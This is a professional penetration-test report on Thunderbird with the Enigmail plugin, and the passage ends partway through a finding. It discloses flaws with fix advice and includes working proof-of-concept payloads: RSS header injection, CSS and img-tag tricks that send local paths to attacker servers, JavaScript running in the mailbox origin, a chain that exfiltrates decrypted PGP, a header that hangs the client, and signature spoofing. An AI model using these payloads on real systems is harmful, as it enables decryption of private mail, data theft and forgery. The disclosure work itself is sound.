Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report Thunderbird & Enigmail 09.2017

Cure53, Dr.-Ing. M. Heiderich, MSc. N. Krein, BSc. D. Weißer, BSc. F. Fäßler, MSc. N. Kobeissi, DIpl.-Ing. A. Inführ, T.-C. Hong, Dr.-Ing. J. Magazinius

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

“Software made to make email easier. Thunderbird is a free email application that’s easy to set up and customize - and it’s loaded with great features!”

From https://www.mozilla.org/en-US/thunderbird/

“Enigmail adds OpenPGP message encryption and authentication to your email client. It features automatic encryption, decryption and integrated key management functionality. Enigmail is based on GnuPG (www.gnupg.org) for the cryptographic functions.”

From https://addons.mozilla.org/en-US/thunderbird/addon/enigmail/

This report documents the findings of a security assessment of Thunderbird with Enigmail, carried out by Cure53 in September 2017. The tests yielded a total of twenty-one security-relevant issues, including three “Critical”-level vulnerabilities.

It is worth noting that the project had very interesting origins and setup. Specifically, publishing results of an earlier audit prompted Cure53 to propose a new collaboration. The idea was well-received and eventually garnered necessary funding. To clarify, this Cure53 assessment was a co-financed joint project of Mozilla's SOS (Secure Open Source) Fund and Posteo e.K.. Both parties contributed to the test budget and had a say regarding the scope.

Ultimately, the project was completed over the course of 24 days by a dedicated team of eight Cure53 testers with varying skillsets and expertise. The main objective of this assignment was to determine whether a particular combination of using Thunderbird with the popular PGP Enigmail plugin translates to security or privacy issues. For this reason the software compound was tested and the core focus of the audit was placed on Thunderbird with Enigmail rather than standalone implementations of, for instance, Thunderbird without the relevant plugin.

Prior to the beginning of the actual tests, the Cure53 testers liaised with the respective development teams for Thunderbird and Enigmail. Briefings were held to exchange information about the tested projects. It must be underlined that the scope of this joint project was extremely extensive, meaning that certain decisions about selecting the most important security aspects needed to be made. Given the time and budgetary constraints, Cure53 opted for investigating key attack vectors, which signifies analyzing the received emails, feed items and email attachments. In simple terms, Cure53 looked at those channels and issues that an attacker could possibly use for reaching out to potential victims. The main criterion was on the given realm’s potential to cause damage.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

By the above logic, the majority of work was invested into smaller source code audits, review of all cryptographic implementations, and actual penetration testing with maliciously modified emails, attachments, keys and RSS feeds. The Cure53 team inspected publicly available sources, focusing primarily on the latest versions available. During the test, Cure53 was in contact with Mozilla's SOS and Posteo, though all findings have been kept confidential until the documentation was fully ready for sharing through this report.

As already noted, the project revealed a high prevalence of security problems within the Thunderbird with Enigmail implementation. Among the twenty-two discoveries, as many as nine constituted actual security vulnerabilities, with the remaining thirteen deemed as general weaknesses. A major cause for concern relates to three issues being ranked with the highest possible "Critical" severity in terms of their greatly severe security risks and implications. Additional four issues were classified as "High".

In the following sections, the report firstly sheds light on the attack surface and scope, as well as provides some commentary on the architecture in place. Secondly, the document furnishes a case-by-case discussions of findings, including relevant mitigation and fix advice when applicable. Finally, the report delivers a broader verdict about the general security situation encountered by the Cure53 team within the tested Thunderbird with Enigmail compound.

Scope

- **Thunderbird with Enigmail**
  - Cure53 worked with latest builds and sources
- **Builds**
  - http://ftp.mozilla.org/pub/thunderbird/nightly/latest-comm-central/
  - https://www.enigmail.net/index.php/en/download/nightly-build

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Attack Surface

The following items describe the attack surface Cure53 was concentrating on during this test. Given the vast amount of code that both Enigmail and Thunderbird ship, it was clearly impossible to conduct a full-scale code audit. The testing team instead enumerated those attack channels that were deemed to be most interesting for real-life attackers. These were subsequently examined in great detail.

- **Incoming Emails with PGP signature / PGP encryption**
  - Can an attacker cause damage with an email sent to and received by a victim?
  - Can an attacker successfully target the signature parser or decryption somehow?
  - Can an attacker cause Command Line Injections, DoS or info leakage to happen?
  - Can an attacker cause crashes in Thunderbird or XSS/RCE in Enigmail?
- **Incoming HTML emails**
  - Can an attacker cause damage with an email sent to a victim?
  - Can an attacker smuggle in data that leaks HTTP requests?
  - Can an attacker get 401/403 password dialogs to show?
  - Can an attacker do nasty things with attachments? CRLF in file names, Unicode, XSS via filename, XSS via preview/viewer, EML, MHTML, exotic formats?
- **Key Generation & Crypto Setup**
  - Is the handling of imported keys safe? Can an attacker cause damage here?
  - Is the general key generation process safe enough by default?
  - Is the random number generation well done and sound?
  - Can rogue keyservers / rogue keys impact the user’s security & privacy?
- **Calendar, RSS and other features with Rich-Text Usage**
  - Can damage be caused with RSS feeds or calendar invites?
  - Is the RSS reader safe from XSS and XXE?
  - Can an attacker cause XSS or alike in the calendar?
  - Are calendar imports safely implemented?
- **Default Settings**
  - Are the default settings considered industry standard?

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Architectural Notes

It should be noted that the add-on architecture of Thunderbird is identical to the approach formerly found for the Firefox browser, up until its version 57. This has changed with version 57, as Firefox since enforces a new restricted extension model for all add-ons. Notably, there do not seem to be any plans in place regarding introduction of this change to Thunderbird.

Further important to point out is the fact that Cure53 conducted a security assessment of the Mailvelope browser extension in early 2017[1]. The results of this assessment demonstrated that vulnerable or even rogue Firefox legacy add-ons should be viewed as capable of reading local files, as well as executing arbitrary code with user privileges. In that context, it has been proven that attackers could gain access to Mailvelope users' PGP key data, with the scenarios being directly tied to the above add-on issues.

In connection to the aforementioned report, it must be further pointed out that architectural changes in Firefox 57 have the capacity to solve a majority of problems mentioned in the Mailvelope's pentest documentation. On the contrary, the version 57 modifications do not extend to Thunderbird in the foreseeable future. This is certainly not surprising as the cross-browser WebExtension APIs are primarily appropriate for browsers, which means that they would not make sense in the context of a mail client. At the same time, it means that no WebExtension enforcement seems to be on the road map for Thunderbird.

Having explained the above, it should generally be understood and advised to make sure that the attack surface with respect to Thunderbird/extensions junction should be kept as minimal as possible. This basically means incorporating as few as possible extensions when Thunderbird is used together with Enigmail. Assuming that a vulnerable or rogue extension is installed, an attacker acquires multiple ways of getting access to private key material and other sensitive data. No matter how hard Enigmail and related tools try to prevent the leakage, the risks become much greater. Henceforth, users are asked to be aware that extensions in Thunderbird are as powerful as executables, which means that they should be treated with adequate caution and care.

[1] https://www.mailvelope.com/en/blog/security-warning-mailvelope-in-firefox

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *TBE-01-001*) for the purpose of facilitating any future follow-up correspondence.

TBE-01-002 Enigmail: Weak Parsing causes Confidentiality Compromise (*Critical*)

The tests revealed a weakness in email parsing. Specifically, this flaw might lead to a vulnerability in which Enigmail can be coerced to use a malicious PGP public key with a corresponding secret key controlled by an attacker. An example scenario for this attack is outlined next.

1. Bob sends an email to Alice. The email appears to be from Bob and is signed and encrypted under Mallory's PGP identity.
2. Mallory, a network attacker that can only modify Bob's "*Full Name*" field in SMTP communications, changes Bob's "*Full name*" field in a specific way that, because of one aspect of this vulnerability, is covert. In other words, Alice cannot detect the manipulation.
3. Alice replies to Mallory's email. Due to Mallory's surreptitious modification of Bob's "*Full Name*" field, however, Alice's message response ends up using a completely different PGP key than the initial one of Bob. This PGP key could be controlled by Mallory, or could actually be any other PGP key at all.

As exemplified above, this leads to a complete and silent Man-in-the-Middle (MitM) compromise of the email thread. Evidently, the associated level of risk signifies a vulnerability with a "Critical" severity and impact.

Two regular expressions in Enigmail lie at the core of this issue. They can be used for spoofing an arbitrary email address. The description below explains how this leads to a critical issue, but it should be noted that the flaw has additional further impact, as can be seen in TBE-01-004.

Enigmail's *funcs.jsm* defines a *stripEmail* function which is supposed to extract the email address contained in *<evil@example.com>* from a comma-separated list of emails. As a first sanity check, a regular expression is used to make sure that no two <> follow each other. This is done by making sure that they are separated by commas:

```
EnigmailFuncsRegexTwoAddr = new RegExp("<[^>,]*>[^,<]*<[^>,]*>");
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The problem is, however, that this regular expression can be fooled if the attacker injects an additional pair of <> and includes a comma in the spoofed email address:

```
<good@example.com,><evil@example.com>
```

Then the second regular expression tries to match the email in between the <> pair to extract it:

```
EnigmailFuncsRegexExtractPureEmail = new RegExp("(^|,)[^,]*<([^>]+)>[^,]*",
"g");
```

This causes the first email with the comma to be matched, instead of the correct one in *evil@example.com*:

```
<good@example.com,><evil@example.com>
```

In the efforts to act correctly, Enigmail actually makes things worse by stripping away the comma:

```
mailAddrs.replace(/[,;]+/g, ",").replace(/^,/, "").replace(/,$/, "");
```

Therefore, it can be supposed that Bob's *"Full Name"* field has been changed from `Bob Bobbington` to `Bob Bobbington <mallory@gmail.com,>`.

This change could be made not only by Mallory but also by Bob himself should he wish to deceive Alice. If Bob's *"Full Name"* was specified as shown above, then Enigmail will look up the PGP key under mallory@gmail.com when Alice attempts to reply to Bob. The latter will be used for encryption instead. Now, this example is far from "covert" as mentioned in the introduction of this issue. However, it is also important to consider that Mallory can equally alter Bob's "*Full Name*" field to `Bob Bobbington <bob@gmail.com,>`

The above appears to completely match Bob's genuine email address, namely bob@gmail.com. Yet in fact it does not, because the "a" one sees in "*gmail*" is actually the UTF-8 Cyrillic character "*а*". As a result, the string above does not match the original string in "bob@gmail.com" which represents Bob's actually true email address. To clarify, Mallory could upload a new identity posing as Bob to PGP key servers. If Mallory maliciously used a Cyrillic character for differentiation, Enigmail would be tricked into automatically fetching the fake identity. In effect, Enigmail would encrypt that information, thereby extending the implications of this vulnerability with an aspect of a covert component.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

This vulnerability could be remedied by double-checking the regular expressions used for parsing. The verification should be performed in order to disallow malicious injections of email identifiers. It should be emphasized that Enigmail uses these identifiers as the basis for the SQLite database lookup, internally employed for retrieving the corresponding PGP identities. For that reason, flaws in this level of parsing can be fatal, as demonstrated by this multi-layered finding.

TBE-01-005 Enigmail: Replay of encrypted Contents leads to Plaintext Leak *(High)*

It was found that an attacker can retrieve plaintext of encrypted mails, provided that they were previously sent to the victim. This can be achieved by including the encrypted data block into the email's body. If the victim responds to the email in question without discarding the original message, the decrypted content is leaked to the attacker. Enigmail supports partially encrypted emails wherein only a selection of the message's body is encrypted. This is what makes the attack realistic, since encrypted message blocks can be hidden in longer conversations.

Steps to reproduce:

- Mallory intercepts an encrypted message sent from Alice to Bob.
- Mallory starts a conversation with Bob. In order to make this attack work, Bob must not discard the original message when replying to an email.
- At some point when the conversation is long enough, Mallory slips the intercepted PGP block into the conversation and leaves the rest of the email unencrypted.
- When Bob receives the message, the PGP block will be decrypted automatically.
- As Bob will likely not read the earlier conversation again, he will have no way of noticing the additional text. However, if he expectedly responds to the message, the decrypted content will be leaked to Mallory.

An alternative way to exploit this issue requires social engineering and makes use of Thunderbird's *forwarding* feature. Actions that need to be completed for this alternative route are enumerated next.

Steps to reproduce:

1. Mallory intercepts an encrypted message which is sent from Alice to Bob.
2. Mallory sends Bob a very long text message which includes the encrypted PGP block and a short text which convinces Bob to forward this email to Trudy without reading the actual message.
3. If Bob follows Mallory's instructions and forwards the email, Enigmail will automatically decrypt the included PGP block and the plaintext is leaked to Trudy.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It should be noted that this issue is rather a design flaw. Specifically, it predominantly relies on the unawareness or lazy behavior of users.

Thunderbird already displays an info box when an email contains partly encrypted data. However, this message can be easily overseen or ignored. It is recommended to leave messages about partial encryption when they are being forwarded or responded to. It is alternatively recommended to display a clear warning when a response to a partly encrypted message is composed or when such a message is forwarded.

TBE-01-011 Thunderbird: RSS Feed vulnerable against Email Injection *(High)*

Thunderbird supports import and rendering of RSS feeds. After a user imports a new RSS feed, it parses the entries and displays them. Specifically, Thunderbird parses the defined RSS items and converts them into an email structure to be able to properly display them. However, it was discovered that at least two RSS fields can inject new lines into the created email structure, therefore having a capacity to modify the whole body.

The *media:content* specifies resources, which should be appended as external attachments. The content of this element is placed after an *X-Mozilla-External-Attachment-URL* header in the created email structure but newlines are not filtered.

```
<media:content url="&#x0a;injected"></media:content>
```

The content of the *guid* element is parsed and appended to the *Message-ID* header at the beginning of the email structure. To underscore, the newlines are not filtered and therefore the email structure can be tampered with.

```
<guid isPermaLink="false">myguid&#x0a;</guid>
```

The following PoC abuses the *guid* element to inject a completely new email structure.

PoC RSS Feed:

```
<?xml version="1.0" encoding="UTF-8"?>
<rss
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    xmlns:georss="http://www.georss.org/georss"
    xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
    xmlns:media="http://search.yahoo.com/mrss/"
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
    xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"
    version="2.0"
>
<channel>

        <title>Feed1</title>
        <link>http://foo.com/?"onclick=prompt(1)/</link>

        <item>
            <title>Feed1</title>
            <guid isPermaLink="false">myguid&gt;&#x0a;Content-Type:
multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"&#x0a;MIME-Version: 1.0&#x0a;Subject: feed1&#x0a;From:
email@example.com&#x0a;To: email@example.com&#x0a;&#x0a;This is a multi-part
message in MIME format.&#x0a;--------------
2DEE3F98D70BD2C65FBA7373&#x0a;Content-Type: multipart/related;
boundary="------------A320A96F6639F3C578F35383"&#x0a;&#x0a;&#x0a;--------------
A320A96F6639F3C578F35383&#x0a;Content-ID: myself&#x0a;Content-Type:
text/html&#x0a;Content-Transfer-Encoding:
7Bit&#x0a;&#x0a;&lt;h1&gt;header&lt;/h1&gt;&#x0a;--------------
A320A96F6639F3C578F35383--&#x0a;&#x0a;--------------2DEE3F98D70BD2C65FBA7373--
&#x0a;&#x0a;&#x0a;&#x0a;&#x0a;</guid>
        </item>
</channel>
</rss>
```

The created email structure:

```
From - Wed, 20 Sep 2017 10:59:42 +0200
X-Mozilla-Status: 0041
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:

Received: by localhost; Wed, 20 Sep 2017 10:59:42 +0200
Date: Wed, 20 Sep 2017 10:59:42 +0200
Message-Id: <myguid>
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: feed1
From: email@example.com
To: email@example.com

This is a multi-part message in MIME format.
--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"


--------------A320A96F6639F3C578F35383
Content-ID: myself
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
Content-Type: text/html
Content-Transfer-Encoding: 7Bit

<h1>header</h1>
--------------A320A96F6639F3C578F35383--

--------------2DEE3F98D70BD2C65FBA7373--@localhost.localdomain>
From: Feed1
MIME-Version: 1.0
Subject: Feed1
Content-Transfer-Encoding: 8bit
Content-Base:
Content-Type: text/html; charset=UTF-8

<html>
  <head>
    <title>Feed1</title>
    <base href="">
  </head>
  <body id="msgFeedSummaryBody" selected="false">
    Feed1
  </body>
</html>
```

It is recommended to remove all newlines specified in RSS fields. This should be done after entities are decoded to ensure that no newline can slip through. This ensures that an RSS feed cannot completely modify the created email structure.

TBE-01-012 Thunderbird: RSS Local Path Leak via @-moz-document *(Medium)*

It was found that the local path string is leaked via crafted CSS in the Thunderbird feed feature. Gecko supports the *@-moz-document* CSS at-rule[2]. This at-rule allows to apply CSS depending on the string included in the URL. On Windows, if the *<link>* element, which is used for the *article* URL, is not specified, the feed contents are loaded in *mailbox:///C:/Users/[USER_NAME]/...* including computer's user-name. The following steps show that this *[USER_NAME]* string can be leaked via the *@-moz-document* rule.

Steps to Reproduce:

- Subscribe to the https://vulnerabledoma.in/pen/tb_-moz-document_pathleak.xml feed from one's account.
- Open the feed's contents.
- Confirm background requests. Observe the local path, including computer's user-name, being sent to an external domain.

[2] https://developer.mozilla.org/en-US/docs/Web/CSS/%40document

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

PoC:

```
<style>
  @-moz-document regexp("mailbox:///C:/Users/A.*$")
{.div1{background:url(https://cure53.de/?char1=A)}}
  @-moz-document regexp("mailbox:///C:/Users/B.*$")
{.div1{background:url(https://cure53.de/?char1=B)}}
  @-moz-document regexp("mailbox:///C:/Users/C.*$")
{.div1{background:url(https://cure53.de/?char1=C)}}
  @-moz-document regexp("mailbox:///C:/Users/D.*$")
{.div1{background:url(https://cure53.de/?char1=D)}}
  [...]
</style>
```

This PoC shows how it is first attempted to get the initial ten characters from user-name string on the local path. Assuming a victim with a user-name "*Masato*", the following requests will be sent:

```
GET https://cure53.de/?char1=M HTTP/1.1
GET https://cure53.de/?char2=a HTTP/1.1
GET https://cure53.de/?char3=s HTTP/1.1
GET https://cure53.de/?char4=a HTTP/1.1
GET https://cure53.de/?char5=t HTTP/1.1
GET https://cure53.de/?char6=o HTTP/1.1
```

It seems that there is a plan to remove the *@-moz-document* rule[3], but this has not been implemented so far. Therefore, it is recommended to disable the use of *@-moz-document* rule from web content. This will help ensure that an attacker cannot abuse the power of regular expressions by combining them with seemingly harmless CSS in seeking to match and exfiltrate valuable data.

TBE-01-013 Thunderbird: RSS Local Path Leak via cid: Parsing Bug *(Medium)*

As described in TBE-01-011, it is possible to influence the created email structure of an RSS feed item. This allows to embed attachments and reference them via the *cid:* protocol.[4] This protocol handler can reference an attachment via its defined *Content-ID* header.

Since the RSS feed operates on the local file-system environment, Thunderbird converts a specified *cid:* handler to the *mailbox:///* protocol. This would normally not be a problem as JavaScript is not executed and therefore it is not possible to extract the *mailbox:///* URL. However, it was discovered that Thunderbird suffers from the following parsing bug, which allows to leak the *mailbox://* URL to an attacker-controlled server.

[3] https://www.fxsitecompat.com/en-CA/docs/2015/moz-document-support-has-been-dropped/
[4] https://tools.ietf.org/html/rfc2392

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Email Body:

```
<img
src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x65;&#x78;&#x61;&#x6D;&#x70;&#x
6C;&#x65;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x6C;&#x6F;&#x67;&#x2E;&#x70;&#x68;&#x70
;&#x3F;&#x0A;&#x0A;cid:aaaaab">
```

Decoded HTML Entity Payload:

```
http://example.com/log.php?
```

Parsed by Thunderbird:

```
<img src="http://example.com/log.php?
mailbox:///C:/Users/UserNAme/AppData/Roaming/Thunderbird/Profiles/anrhqp9r.pgp/M
ail/Feeds/Feed1?number=1&part=1.1.3&filename=test.html">
```

Thunderbird will then try to fetch the specified image from the attacker's web server. In doing so, it will leak the local file path to the RSS feed. The following RSS feed contains an example of this behavior. It will reference the injected file attachment, which is then leaked to the attacker's web server.

PoC:

```
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0" >
<channel>
        <title>Feed1</title>
        <link>aaa</link>
        <item>
            <title>Feed1</title>
            <guid isPermaLink="false">myguid&gt;&#x0a;Content-Type:
multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"&#x0a;MIME-Version: 1.0&#x0a;Subject: feed1&#x0a;From:
test@example.com&#x0a;To: test@example.com&#x0a;&#x0a;This is a multi-part
message in MIME format.&#x0a;--------------
2DEE3F98D70BD2C65FBA7373&#x0a;Content-Type: multipart/related;
boundary="------------A320A96F6639F3C578F35383"&#x0a;&#x0a;&#x0a;--------------
A320A96F6639F3C578F35383&#x0a;Content-ID: myself&#x0a;Content-Type:
text/html&#x0a;Content-Transfer-Encoding: 7Bit&#x0a;&#x0a;&lt;img
src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x39;&#x32;&#x2E;&#x31;&#x
36;&#x38;&#x2E;&#x30;&#x2E;&#x31;&#x32;&#x2F;&#x6C;&#x6F;&#x67;&#x2E;&#x70;&#x68
;&#x70;&#x3F;&#x0A;&#x0A;cid:aaaaab"&gt;&#x0a;--------------
A320A96F6639F3C578F35383&#x0a;Content-ID: aaaaab&#x0a;Content-Type:
image/svg+xml&#x0a;Content-Transfer-Encoding: 7bit&#x0a;Content-Disposition:
attachment; filename="test.svg"&#x0a;&#x0a;a&#x0a;&#x0a;--------------
A320A96F6639F3C578F35383--&#x0a;&#x0a;--------------2DEE3F98D70BD2C65FBA7373--
&#x0a;&#x0a;&#x0a;&#x0a;&#x0a;</guid>
        </item>
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
</channel>
</rss>
```

Email Body:

```
From - Thu, 28 Sep 2017 14:18:48 +0200
X-Mozilla-Status: 0041
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:

Received: by localhost; Thu, 28 Sep 2017 14:18:48 +0200
Date: Thu, 28 Sep 2017 14:18:48 +0200
Message-Id: <myguid>
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: feed1
From: test@example.com
To: test@example.com

This is a multi-part message in MIME format.
--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"


--------------A320A96F6639F3C578F35383
Content-ID: myself
Content-Type: text/html
Content-Transfer-Encoding: 7Bit

<img src="http://192.168.0.12/log.php?

cid:aaaaab">
--------------A320A96F6639F3C578F35383
Content-ID: aaaaab
Content-Type: image/svg+xml
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="test.svg"

a

--------------A320A96F6639F3C578F35383--

--------------2DEE3F98D70BD2C65FBA7373--@localhost.localdomain>
From: Feed1
MIME-Version: 1.0
Subject: Feed1
Content-Transfer-Encoding: 8bit
Content-Base:
Content-Type: text/html; charset=UTF-8
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
<html>
  <head>
    <title>Feed1</title>
    <base href="">
  </head>
  <body id="msgFeedSummaryBody" selected="false">
    Feed1
  </body>
</html>
```

It is recommended to check the parsing code of the *cid:* protocol and investigate why it does not detect a prepended encoded HTTP URL.

TBE-01-014 Thunderbird: JavaScript Execution via RSS in mailbox:// Origin *(High)*

In case a user views RSS feeds as a website, e.g. via "*View -> Feed article -> Website*" or in the standard format of "*View -> Feed article -> default format*", it is possible to execute JavaScript in the parsed RSS feed.

When either one of the aforementioned two settings is in place, Thunderbird will check for the presence of a *<link>* element in a RSS item. It will then fetch and display the specified origin. The remote web page is from then on allowed to execute JavaScript like any normal web page. This is not a straightforward security issue, as the default Same Origin Policy is applied. In case where no *<link>* element is present, Thunderbird will parse the *description* element but will forbid JavaScript execution.

A possibility to bypass the restriction was uncovered with relation to specifying a *data:text/html* URL for a *<link>* element. Thunderbird parses the *data:* URL and displays the defined HTML page, which then operates in the *mailbox://* origin and is allowed to execute JavaScript:

PoC RSS Feed:

```
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>

        <title>Feed1</title>
        <link>http://example.com</link>

        <item>
            <title>Feed1</title>
            <link>data:text/html,%3ch1%3easdf%3c/h1%3e%3cscript%3ealert(123)
                %3c/script%3e</link>
        </item>
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
</channel>
</rss>
```

It is recommended to only allow HTTP/HTTPS URLs in *<link>* tags. This ensures that a feed can exclusively specify real remote web pages, therefore being restricted to its own origin.

TBE-01-015 Thunderbird: Decrypted PGP Blocks exposed via RSS Feeds *(Critical)*

Another attack found by Cure53 hinges upon a set of preconditions. First, it assumes that a malicious adversary managed to obtain a PGP-encrypted email sent to his or her victim. Secondly, it is presumed in this scenario that the attacker has no access to the correct key. Thirdly, it is supposed that the victim just subscribed to an attacker-controlled RSS feed, as this makes the Proof of Concept easier to follow.

The RSS feed defines two itemized entries. The first entry abuses TBE-01-011 to modify the created email structure. This attacker-controlled structure then abuses TBE-01-013 to leak the *mailbox://* URI to an adversary-owned server. The URL contains the exact link to the current feed on the local file-system. Moreover, the *mailbox://* URI allows to specify certain resources inside the stored feed file.

The second entry abuses TBE-01-011 as well. In this case the modified email structure will contain two important components. Firstly, it will inject a *Content-Base: data:xxx* header at the beginning of the email structure, thus triggering the bug described in TBE-01-014. Secondly, it will inject an attachment which contains the victim's email, therefore inclusive of the targeted PGP block. The latter will be abused in the next steps of this attack.

Once Thunderbird parses the injected *Content-Base* header, it will execute the defined *data:text/html* structure. The defined HTML file specifies a *script* tag, which fetches a JavaScript file from the attacker's web server. In turn, the JavaScript file will create an iframe, in particular the one specifying the leaked *mailbox://* URI from the first RSS entry as its source attribute.

The URI is modified to point to the injected email attachment. This is achieved by changing the following parameters:

1. *Number*: defines the targeted feed entry. In our case the interesting email attachment is in feed *two*.
2. *Part*: defines a specific part inside the feed. *1.1.2* points directly to the injected attachment.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

3. *Filename*: gives Thunderbird a hint about how to parse the attachment. The parameter contains *test.html,* so it can be properly rendered inside an iframe.

```
mailbox:///C:/Users/UserNAme/AppData/Roaming/Thunderbird/Profiles/anrhqp7r.pgp/M
ail/Feeds/Feed1?number=2&part=1.1.2&filename=test.html
```

As soon as an iframe is appended to the current DOM, Thunderbird will fetch the injected email attachment and display it inside that iframe. As it contains a PGP block, it will be automatically decrypted by Enigmail. As described in TBE-01-014, the JavaScript operates the *mailbox* origin, so it can access the decrypted email body inside the iframe and send it back to the attacker's server.

The recommendation on how to fix each of the vulnerabilities combined for the purpose of creating this amassed ticket can be found in the respective issues' tickets.

TBE-01-017 Thunderbird: Multiple Hangs via malformed Headers *(Medium)*

An issue was discovered to let an attacker craft an email which causes the victim's Thunderbird process to hang on receiving the message. For some test cases, the *hang* persisted across a restart of the Thunderbird software, thus making it impossible to use the application unless the email was deleted via the mail provider's web interface. Below is an example of an email culprit.

Email which causes a *hang*:

```
Content-Type: text/plain
Subject: HANG!
From: evil@attacker
To: sad@victim
CC: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

meowmeow
```

Once the email is processed, Thunderbird freezes and consumes 100% of the CPU resources. Moreover, the amount of used memory increases. This problem is caused by an escaping algorithm which processes the header field in a manner presented next

```
@@ => "@"@
@@@ => "\"@\"@"@
@@@@ => "\"\\\"@\\\"@\"@"@
@@@@@@ => "\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"@\\\\\\\\\\\\\\\"@\\\\\\\"@\\\"@\"@"@
```

Adding @ characters to the header entry increases the length of the encoded string exponentially, thus resulting in high CPU and memory consumption. All header types

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

permitted to contain email addresses, e.g. *From*, *To*, *BCC*, *Resent-From*, are affected by this issue. It is recommended to review and fix the escaping algorithm to avoid Denial of Service and foster more robust parsing.

TBE-01-021 Enigmail: Flawed parsing allows faked Signature Display (*Critical*)

Enigmail will incorrectly find and verify signatures of attached email files. The error lies in parsing the email and failing to separate the contents of the email from the contents of the attachment. If an attached email is signed, Enigmail will verify that signature against the text of the attached email, but it will appear to the user as if the entire message was signed. This allows an attacker to create a forged email, e.g., from *bob@cure53.de*, that has an email as an attachment signed by *bob@cure53.de*. To the recipient it seems as if the message in its entirety - rather than just the attachment - was signed by Bob.

Steps to reproduce:

1. Save an email with a correct signature from the victim.
2. Create a new email and add the *saved* email as an attachment.
3. Send the email to the targeted recipient.
4. The target will now see the email as having a valid signature from the victim.

Sample email body:

```
Delivered-To: jonas@cure53.de
Return-Path: <mario@cure53.de>
To: Mario Heiderich <mario@cure53.de>, Jonas Magazinius <jonas@cure53.de>
From: "Dr.-Ing. Mario Heiderich" <mario@cure53.de>
Subject: This is totally signed by mario@cure53.de!
Date: Fri, 29 Sep 2017 12:35:19 +0200
Content-Type: multipart/mixed;
 boundary="------------AEA294334A39599F740CD34A"

This is a multi-part message in MIME format.
--------------AEA294334A39599F740CD34A
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable

Hey!

Just writing this totally legit email and it's totally signed by me
(mario@cure53.de).

/Mario

--------------AEA294334A39599F740CD34A
Content-Type: message/rfc822;
 name="poc.eml"
Content-Transfer-Encoding: 7bit
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
Content-Disposition: attachment;
 filename="poc.eml"

Subject: [REDACTED]
To: jonas@cure53.de
From: "Dr.-Ing. Mario Heiderich" <mario@cure53.de>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="PWpC1qlx6dsQoTPWMjFMqgqCjLq1TuoEA"

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
